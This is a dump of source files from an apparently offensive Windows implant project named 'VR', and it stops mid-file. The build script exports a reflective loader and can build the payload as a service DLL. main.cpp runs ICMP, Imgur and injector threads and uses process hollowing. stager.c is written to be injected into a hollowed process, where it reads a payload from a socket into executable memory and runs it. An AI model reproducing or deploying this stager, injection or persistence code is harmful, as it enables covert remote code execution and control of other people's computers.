Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | cmake_minimum_required(VERSION 3.8) 26 | 27 | project(VR) 28 | 29 | include(ucm.cmake) 30 | 31 | set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) 32 | set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) 33 | set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) 34 | set(OUTPUT_BIN_DIRECTORY ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}) 35 | if (MSVC) 36 | set(OUTPUT_BIN_DIRECTORY ${OUTPUT_BIN_DIRECTORY}/$) 37 | endif () 38 | include_directories(${OUTPUT_BIN_DIRECTORY}) 39 | add_definitions(-DWIN32_LEAN_AND_MEAN=1) 40 | set_property(GLOBAL PROPERTY USE_FOLDERS ON) 41 | 42 | set(CMAKE_CXX_STANDARD 17) 43 | ucm_set_runtime(STATIC) 44 | 45 | set(VR_CONFIG "${CMAKE_CURRENT_SOURCE_DIR}/sample-config.json" CACHE STRING "Configuration file") 46 | 47 | if (NOT WIN32) 48 | message(FATAL_ERROR "This project is meant for Windows platform only") 49 | endif () 50 | 51 | if (MSVC) 52 | if (EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/../VC-LTL") 53 | set(SupportWinXP "true") 54 | add_definitions(-D_DISABLE_DEPRECATE_LTL_MESSAGE=1) 55 | include("../VC-LTL/VC-LTL helper for cmake.cmake") 56 | endif () 57 | # Disable buffer security checks 58 | add_compile_options(/GS-) 59 | # Disable exceptions 60 | ucm_replace_flag(/EHs?c? /EHs-c- REGEX) 61 | # Disable RTTI 62 | ucm_replace_flag(/GR /GR-) 63 | # Enable function level linking 64 | add_compile_options(/Gy) 65 | # Enable removal of unreferenced code 66 | ucm_add_linker_flags(EXE SHARED MODULE CONFIG Release MinSizeRel /OPT:REF) 67 | # Silence useless warnings 68 | add_definitions(-D_CRT_SECURE_NO_WARNINGS -D_WINSOCK_DEPRECATED_NO_WARNINGS) 69 | # Enable runtime code generation 70 | ucm_add_flags(CONFIG Release MinSizeRel /RTCG) 71 | endif () 72 | 73 | if (MINGW) 74 | ucm_add_linker_flags(SHARED EXE -nodefaultlibs -dynamic -ffunction-sections -fdata-sections -Wl,-gc-sections) 75 | ucm_add_flags(CXX -fno-rtti -fno-exceptions) 76 | ucm_add_flags(CONFIG MinSizeRel -s) 77 | endif () 78 | 79 | add_definitions(-D_NO_NTDLL_CRT_) 80 | 81 | add_compile_options( 82 | $<$:-DDEBUG=1> 83 | $<$:-DDEBUG=1> 84 | $<$:-DNDEBUG=1> 85 | $<$:-DNDEBUG=1> 86 | ) 87 | 88 | macro (export_reflective_loader TARGET) 89 | if (CMAKE_SIZEOF_VOID_P EQUAL 4) 90 | set_target_properties(${TARGET} PROPERTIES LINK_FLAGS "/INCLUDE:_ReflectiveLoader@4") 91 | else () 92 | set_target_properties(${TARGET} PROPERTIES LINK_FLAGS "/INCLUDE:ReflectiveLoader") 93 | endif () 94 | endmacro () 95 | 96 | option(VR_PAYLOAD_SERVICE "Build payload as service dll" OFF) 97 | 98 | add_subdirectory(dep) 99 | add_subdirectory(src) 100 | -------------------------------------------------------------------------------- /src/shared/coroutine.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include "coroutine.h" 25 | #include "../shared/debug.h" 26 | 27 | coroutine_loop* coroutine_loop::current_loop{}; 28 | 29 | unsigned coroutine_loop::_run_coro_func(void*) 30 | { 31 | auto* loop = current_loop; 32 | { 33 | coro_ctx context{}; 34 | context.this_fiber = GetCurrentFiber(); 35 | loop->_starting.push_back(&context); 36 | 37 | if (loop->_current) 38 | SwitchToFiber(loop->_current->this_fiber); 39 | else 40 | SwitchToFiber(loop->get_main_fiber()); 41 | 42 | loop->get_current_coro()->func(); 43 | context.sleep = ~0U; // exit hint 44 | } 45 | SwitchToFiber(loop->get_main_fiber()); 46 | return 0; 47 | } 48 | 49 | coroutine_loop::coroutine_loop() 50 | { 51 | _sleep = 0; 52 | _terminating = false; 53 | } 54 | 55 | void coroutine_loop::activate(coroutine_loop& loop) 56 | { 57 | current_loop = &loop; 58 | if (loop._main_fiber == nullptr) 59 | loop._main_fiber = ConvertThreadToFiber(nullptr); 60 | } 61 | 62 | void* coroutine_loop::get_main_fiber(unsigned int ms) 63 | { 64 | _sleep = ms; 65 | return _main_fiber; 66 | } 67 | 68 | void coroutine_loop::start(const coro_func& coro, unsigned stack_size) 69 | { 70 | void* fiber = CreateFiber(stack_size, (LPFIBER_START_ROUTINE)&_run_coro_func, nullptr); 71 | SwitchToFiber(fiber); 72 | _starting.back()->func = coro; 73 | } 74 | 75 | void coroutine_loop::run() 76 | { 77 | while (!_runnables.empty() || !_starting.empty()) 78 | { 79 | _runnables.insert(_runnables.end(), _starting.begin(), _starting.end()); 80 | _starting.clear(); 81 | 82 | // Sort runnables by next run time. Runners to front, sleepers to back. 83 | // std::sort(_runnables.begin(), _runnables.end(), [](coro_ctx* a, coro_ctx* b) { 84 | // unsigned a_slept = GetTickCount() - a->last_run; 85 | // unsigned b_slept = GetTickCount() - b->last_run; 86 | // return (a->sleep - a_slept) < (b->sleep - b_slept); 87 | // }); 88 | 89 | int sleep_time = INT_MAX; 90 | for (auto it = _runnables.begin(); it != _runnables.end();) 91 | { 92 | auto& runnable = *it; 93 | unsigned time_slept = GetTickCount() - runnable->last_run; 94 | int time_left_to_sleep = runnable->sleep - time_slept; 95 | if (_terminating || time_left_to_sleep <= 0) 96 | { 97 | _current = runnable; 98 | SwitchToFiber(runnable->this_fiber); 99 | 100 | if(_sleep == ~0U) 101 | { 102 | DeleteFiber(runnable->this_fiber); 103 | it = _runnables.erase(it); 104 | } 105 | else 106 | { 107 | runnable->last_run = GetTickCount(); 108 | runnable->sleep = _sleep; 109 | 110 | _current = nullptr; 111 | _sleep = 0; 112 | 113 | sleep_time = min(sleep_time, (int) runnable->sleep); 114 | 115 | ++it; 116 | } 117 | } 118 | else 119 | { 120 | sleep_time = min(sleep_time, time_left_to_sleep); 121 | ++it; 122 | } 123 | } 124 | Sleep((unsigned)sleep_time); 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /src/vr/main.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include "vr-config.h" 25 | #include "../shared/context.h" 26 | #include "../shared/coroutine.h" 27 | #include "../shared/debug.h" 28 | #include "../shared/win32.h" 29 | #include "../shared/process_hollowing.h" 30 | #include "../shared/math.h" 31 | 32 | 33 | void icmp_thread(context& ctx); 34 | void imgur_thread(context& ctx); 35 | void injector_thread(context& ctx); 36 | 37 | coroutine_loop loop{}; 38 | 39 | INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) 40 | { 41 | deterministic_uuid_seed = get_machine_hash(); 42 | 43 | HANDLE hMutex = mutex_lock(vr_mutant_main); 44 | if (!hMutex) 45 | { 46 | LOG_DEBUG("VR already running."); 47 | return 0; 48 | } 49 | 50 | LOG_DEBUG("VR runs as process %d", GetCurrentProcessId()); 51 | 52 | WSADATA wsa{}; 53 | WSAStartup(0x0202, &wsa); 54 | 55 | context ctx{}; 56 | coroutine_loop::activate(loop); 57 | 58 | coro_start([&ctx]() { icmp_thread(ctx); }); 59 | coro_start([&ctx]() { imgur_thread(ctx); }); 60 | coro_start([&ctx]() { injector_thread(ctx); }); 61 | 62 | coro_run(); 63 | 64 | WSACleanup(); 65 | ReleaseMutex(hMutex); 66 | CloseHandle(hMutex); 67 | LOG_DEBUG("VR exits."); 68 | return 0; 69 | } 70 | 71 | #if VR_PAYLOAD_SERVICE 72 | BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) 73 | { 74 | return true; 75 | } 76 | 77 | HANDLE main_thread_handle = nullptr; 78 | SERVICE_STATUS_HANDLE svc_status_handle = nullptr; 79 | SERVICE_STATUS svc_status = 80 | { 81 | SERVICE_WIN32_SHARE_PROCESS, 82 | SERVICE_START_PENDING, 83 | SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE 84 | }; 85 | 86 | DWORD WINAPI MainThread(LPVOID) 87 | { 88 | DWORD result = WinMain(0, 0, nullptr, 0); 89 | svc_status.dwCurrentState = SERVICE_STOPPED; 90 | SetServiceStatus(svc_status_handle, &svc_status); 91 | return result; 92 | } 93 | 94 | DWORD WINAPI ServiceHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext) 95 | { 96 | switch (dwControl) 97 | { 98 | case SERVICE_CONTROL_STOP: 99 | case SERVICE_CONTROL_SHUTDOWN: 100 | loop.stop_all(); 101 | WaitForSingleObject(main_thread_handle, INFINITE); 102 | CloseHandle(main_thread_handle); 103 | main_thread_handle = nullptr; 104 | svc_status.dwCurrentState = SERVICE_STOPPED; 105 | break; 106 | case SERVICE_CONTROL_PAUSE: 107 | svc_status.dwCurrentState = SERVICE_PAUSED; 108 | SuspendThread(main_thread_handle); 109 | break; 110 | case SERVICE_CONTROL_CONTINUE: 111 | svc_status.dwCurrentState = SERVICE_RUNNING; 112 | ResumeThread(main_thread_handle); 113 | break; 114 | case SERVICE_CONTROL_INTERROGATE: 115 | break; 116 | default: 117 | break; 118 | }; 119 | SetServiceStatus(svc_status_handle, &svc_status); 120 | return NO_ERROR; 121 | } 122 | 123 | extern "C" __declspec(dllexport) void WINAPI ServiceMain(DWORD dwArgc, LPWSTR* lpszArgv) 124 | { 125 | svc_status_handle = RegisterServiceCtrlHandlerExW(L"vr", ServiceHandler, nullptr); 126 | if (!svc_status_handle) 127 | return; 128 | main_thread_handle = CreateThread(nullptr, 0, &MainThread, nullptr, 0, nullptr); 129 | svc_status.dwCurrentState = main_thread_handle ? SERVICE_RUNNING : SERVICE_STOPPED; 130 | SetServiceStatus(svc_status_handle, &svc_status); 131 | } 132 | #endif 133 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/string_view.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-1017 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_STRING_VIEW_H 28 | #define TINYSTL_STRING_VIEW_H 29 | 30 | #include "stddef.h" 31 | 32 | namespace tinystl { 33 | 34 | class string_view 35 | { 36 | public: 37 | typedef char value_type; 38 | typedef char* pointer; 39 | typedef const char* const_pointer; 40 | typedef char& reference; 41 | typedef const char& const_reference; 42 | typedef const_pointer iterator; 43 | typedef const_pointer const_iterator; 44 | typedef size_t size_type; 45 | typedef ptrdiff_t difference_type; 46 | 47 | static constexpr size_type npos = size_type(-1); 48 | 49 | constexpr string_view(); 50 | constexpr string_view(const char* s, size_type count); 51 | constexpr string_view(const char* s); 52 | constexpr string_view(const string_view&) = default; 53 | string_view& operator=(const string_view&) = default; 54 | 55 | constexpr const char* data() const; 56 | constexpr char operator[](size_type pos) const; 57 | constexpr size_type size() const; 58 | constexpr bool empty() const; 59 | constexpr iterator begin() const; 60 | constexpr const_iterator cbegin() const; 61 | constexpr iterator end() const; 62 | constexpr const_iterator cend() const; 63 | constexpr string_view substr(size_type pos = 0, size_type count = npos) const; 64 | constexpr void swap(string_view& v); 65 | 66 | private: 67 | string_view(decltype(nullptr)) = delete; 68 | 69 | static constexpr size_type strlen(const char*); 70 | 71 | const char* m_str; 72 | size_type m_size; 73 | }; 74 | 75 | constexpr string_view::string_view() 76 | : m_str(nullptr) 77 | , m_size(0) 78 | { 79 | } 80 | 81 | constexpr string_view::string_view(const char* s, size_type count) 82 | : m_str(s) 83 | , m_size(count) 84 | { 85 | } 86 | 87 | constexpr string_view::string_view(const char* s) 88 | : m_str(s) 89 | , m_size(strlen(s)) 90 | { 91 | } 92 | 93 | constexpr const char* string_view::data() const { 94 | return m_str; 95 | } 96 | 97 | constexpr char string_view::operator[](size_type pos) const { 98 | return m_str[pos]; 99 | } 100 | 101 | constexpr string_view::size_type string_view::size() const { 102 | return m_size; 103 | } 104 | 105 | constexpr bool string_view::empty() const { 106 | return 0 == m_size; 107 | } 108 | 109 | constexpr string_view::iterator string_view::begin() const { 110 | return m_str; 111 | } 112 | 113 | constexpr string_view::const_iterator string_view::cbegin() const { 114 | return m_str; 115 | } 116 | 117 | constexpr string_view::iterator string_view::end() const { 118 | return m_str + m_size; 119 | } 120 | 121 | constexpr string_view::const_iterator string_view::cend() const { 122 | return m_str + m_size; 123 | } 124 | 125 | constexpr string_view string_view::substr(size_type pos, size_type count) const { 126 | return string_view(m_str + pos, npos == count ? m_size - pos : count); 127 | } 128 | 129 | constexpr void string_view::swap(string_view& v) { 130 | const char* strtmp = m_str; 131 | size_type sizetmp = m_size; 132 | m_str = v.m_str; 133 | m_size = v.m_size; 134 | v.m_str = strtmp; 135 | v.m_size = sizetmp; 136 | } 137 | 138 | constexpr string_view::size_type string_view::strlen(const char* s) { 139 | for (size_t len = 0; ; ++len) { 140 | if (0 == s[len]) { 141 | return len; 142 | } 143 | } 144 | } 145 | } 146 | 147 | #endif // TINYSTL_STRING_VIEW_H 148 | -------------------------------------------------------------------------------- /src/shared/math.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | // Trick compiler into linking to _snprintf from ntdll and thus save executable size. 25 | #define _NO_CRT_STDIO_INLINE 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include "vr-config.h" 31 | #include "math.h" 32 | #include "rc4.h" 33 | 34 | extern "C" 35 | { 36 | 37 | uint64_t deterministic_uuid_seed; 38 | 39 | int random(int min, int max) 40 | { 41 | auto range = max - min; 42 | assert(range > 0); 43 | float random = ((float)(rand() + rand())) / (RAND_MAX + RAND_MAX); 44 | return static_cast(random * range + min); 45 | } 46 | 47 | uint64_t get_machine_hash() 48 | { 49 | // Use unique per-machine GUID to seed generation of deterministic GUIDs to make them unique on each machine. 50 | uint64_t machine_hash = vr_shared_key; 51 | HKEY hKey = nullptr; 52 | if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Cryptography", 0, KEY_QUERY_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) 53 | { 54 | union 55 | { 56 | char machine_guid[40]; 57 | uint64_t n[5]; 58 | } u{}; 59 | DWORD guid_size = sizeof(u.machine_guid); 60 | DWORD key_type = REG_SZ; 61 | if (RegQueryValueExA(hKey, "MachineGuid", nullptr, &key_type, (LPBYTE)u.machine_guid, &guid_size) == ERROR_SUCCESS) 62 | { 63 | for (uint64_t k : u.n) 64 | machine_hash ^= k; 65 | } 66 | RegCloseKey(hKey); 67 | hKey = nullptr; 68 | } 69 | 70 | return machine_hash; 71 | } 72 | 73 | void deterministic_uuid(uint64_t seed, char uuid[44]) 74 | { 75 | uint32_t a = 0; 76 | uint16_t b = 0; 77 | uint16_t c = 0; 78 | uint16_t d = 0; 79 | uint32_t e = 0; 80 | uint16_t f = 0; 81 | 82 | rc4_ctx rc4{}; 83 | rc4_init(&rc4, deterministic_uuid_seed + seed); 84 | 85 | rc4_xor(&rc4, (uint8_t*)&a, sizeof(a)); 86 | rc4_xor(&rc4, (uint8_t*)&b, sizeof(b)); 87 | rc4_xor(&rc4, (uint8_t*)&c, sizeof(c)); 88 | rc4_xor(&rc4, (uint8_t*)&d, sizeof(d)); 89 | rc4_xor(&rc4, (uint8_t*)&e, sizeof(e)); 90 | rc4_xor(&rc4, (uint8_t*)&f, sizeof(f)); 91 | 92 | c &= 0xfff; // Clear first digit so it can be always 4. Lets pretend its uuid4. 93 | 94 | _snprintf(uuid, 44, "{%08X-%04X-4%03X-%04X-%08X-%04X}", a, b, c, d, e, f); 95 | } 96 | 97 | HANDLE mutex_create(uint64_t seed) 98 | { 99 | char mutexName[51] = "Global\\"; 100 | deterministic_uuid(seed, mutexName + 7); 101 | return CreateMutexA(NULL, FALSE, mutexName); 102 | } 103 | 104 | bool mutex_acquire(HANDLE mutex) 105 | { 106 | if (mutex == NULL) 107 | return false; 108 | auto result = WaitForSingleObject(mutex, 0); 109 | return result == WAIT_ABANDONED || result == WAIT_OBJECT_0; 110 | } 111 | 112 | HANDLE mutex_lock(uint64_t seed) 113 | { 114 | if (HANDLE mutex = mutex_create(seed)) 115 | { 116 | if (mutex_acquire(mutex)) 117 | return mutex; 118 | CloseHandle(mutex); 119 | } 120 | return 0; 121 | } 122 | 123 | BOOL mutex_is_locked(uint64_t seed) 124 | { 125 | if (HANDLE mutex = mutex_lock(seed)) 126 | { 127 | ReleaseMutex(mutex); 128 | CloseHandle(mutex); 129 | return FALSE; 130 | } 131 | return TRUE; 132 | } 133 | 134 | int64_t combine_hash(int64_t result, int64_t hash) 135 | { 136 | return result ^ (hash + 0x9ddfea08eb382d69 + (result << 12) + (result >> 4)); 137 | } 138 | 139 | uint32_t fnv32a(const void* data, int len) 140 | { 141 | uint32_t hash = 2166136261; 142 | for (const uint8_t* p = (const uint8_t*)data, * end = p + len; p < end; p++) 143 | { 144 | hash ^= *p; 145 | hash *= 16777619; 146 | } 147 | return hash; 148 | } 149 | 150 | } 151 | 152 | stl::string deterministic_uuid(uint64_t seed) 153 | { 154 | char uuid[44]; 155 | deterministic_uuid(seed, uuid); 156 | return uuid; 157 | } 158 | -------------------------------------------------------------------------------- /src/stager/stager.c: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | // Stager is meant to be injected into hollowed process with a socket passed to it. The sole purpose of the stager is 25 | // to read 4 bytes length from the socket, then read payload of as many bytes as specified in length and execute payload. 26 | // 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include "vr-config.h" 32 | #include "../shared/math.h" 33 | #include "../shared/debug.h" 34 | 35 | #if _WIN64 36 | static const unsigned mov_rdi_size = 10; 37 | #else 38 | static const unsigned mov_rdi_size = 5; 39 | #endif 40 | 41 | INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) 42 | { 43 | LOG_DEBUG("Stager started"); 44 | deterministic_uuid_seed = get_machine_hash(); 45 | WSADATA wsa; 46 | HANDLE hMapping = 0; 47 | uint8_t* shared_memory = 0; 48 | uint8_t* payload = 0; 49 | int length = 0; 50 | SOCKET s = INVALID_SOCKET; 51 | WSAStartup(0x0202, &wsa); 52 | 53 | do 54 | { 55 | char mapping_name[51] = "Global\\"; 56 | deterministic_uuid(combine_hash(gts_shared_memory_name, GetCurrentProcessId()), mapping_name + 7); 57 | 58 | HANDLE hMapping = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, mapping_name); 59 | if (!hMapping) 60 | { 61 | LOG_DEBUG("Failed to open mapping %s %d", mapping_name, GetLastError()); 62 | break; 63 | } 64 | 65 | shared_memory = (uint8_t*)MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0x2000); 66 | if (!shared_memory) 67 | { 68 | LOG_DEBUG("Failed to open shared_memory %d", GetLastError()); 69 | break; 70 | } 71 | 72 | WSAPROTOCOL_INFOW* protocol_info = (WSAPROTOCOL_INFOW*)(shared_memory + sizeof(long)); 73 | s = WSASocketW(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, protocol_info, 0, 0); 74 | int socket_error = WSAGetLastError(); 75 | 76 | // Signal that mapping is no longer needed. 77 | InterlockedExchange((volatile long*)shared_memory, 0); 78 | 79 | UnmapViewOfFile(shared_memory); 80 | shared_memory = 0; 81 | CloseHandle(hMapping); 82 | hMapping = 0; 83 | 84 | if (s == 0 || s == INVALID_SOCKET) 85 | { 86 | LOG_DEBUG("Socket error %d", socket_error); 87 | break; 88 | } 89 | 90 | // Switch to blocking mode 91 | u_long mode = 0; 92 | ioctlsocket(s, FIONBIO, &mode); 93 | // Set up timeout 94 | DWORD timeout = 30000; 95 | setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); 96 | 97 | if (recv(s, (char*)&length, 4, 0) != 4) 98 | { 99 | LOG_DEBUG("Recv size error %d", WSAGetLastError()); 100 | break; 101 | } 102 | LOG_DEBUG("Stager size = %d", length); 103 | 104 | // 30 MB is excessive, i know 105 | if (length > (30 * 1024 * 1024)) 106 | { 107 | LOG_DEBUG("Recv size unexpected"); 108 | break; 109 | } 110 | 111 | uint8_t* payload = (uint8_t*)VirtualAlloc(0, length + mov_rdi_size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 112 | if (payload == 0) 113 | { 114 | LOG_DEBUG("VirtualAlloc error %d", GetLastError()); 115 | break; 116 | } 117 | 118 | // Provide socket to the payload in edi/rdi register 119 | #if _WIN64 120 | *(WORD*)payload = 0xBF48; 121 | *(SOCKET*)(payload + 2) = s; 122 | #else 123 | *(BYTE*)payload = 0xBF; 124 | *(SOCKET*)(payload + 1) = s; 125 | #endif 126 | 127 | // Read rest of the payload 128 | int received_length = recv(s, (char*)(payload + mov_rdi_size), length, MSG_WAITALL); 129 | if (received_length != length) 130 | { 131 | LOG_DEBUG("Socket error %d", WSAGetLastError()); 132 | break; 133 | } 134 | 135 | LOG_DEBUG("Executing payload..."); 136 | // Execute payload 137 | ((void(*)())(payload))(); 138 | 139 | } while (0); 140 | 141 | // Reached only on error. 142 | if (s != INVALID_SOCKET) 143 | closesocket(s); 144 | if (payload) 145 | VirtualFree(payload, length + mov_rdi_size, MEM_RELEASE | MEM_DECOMMIT); 146 | if (shared_memory) 147 | UnmapViewOfFile(shared_memory); 148 | if (hMapping) 149 | CloseHandle(hMapping); 150 | WSACleanup(); 151 | ExitProcess(0); 152 | return 0; 153 | 154 | } 155 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/array.h: -------------------------------------------------------------------------------- 1 | #ifndef __TINYSTL_ARRAY__ 2 | #define __TINYSTL_ARRAY__ 3 | 4 | #include 5 | #include 6 | 7 | namespace tinystl { 8 | template 9 | class array { 10 | public: 11 | /*** 1. Element Access ***/ 12 | 13 | // access specified elements with bounds checking 14 | T &at(size_t pos) 15 | { 16 | if (pos < 0 || pos >= N) 17 | throw std::out_of_range("index out of range"); 18 | return data[pos]; 19 | } 20 | 21 | const T &at(size_t pos) const 22 | { 23 | if (pos < 0 || pos >= N) 24 | throw std::out_of_range("index out of range"); 25 | return data[pos]; 26 | } 27 | 28 | // access specified elements 29 | T &operator [](size_t pos) { return data[pos]; } 30 | 31 | // access first element 32 | T &front() 33 | { 34 | if (this->empty()) 35 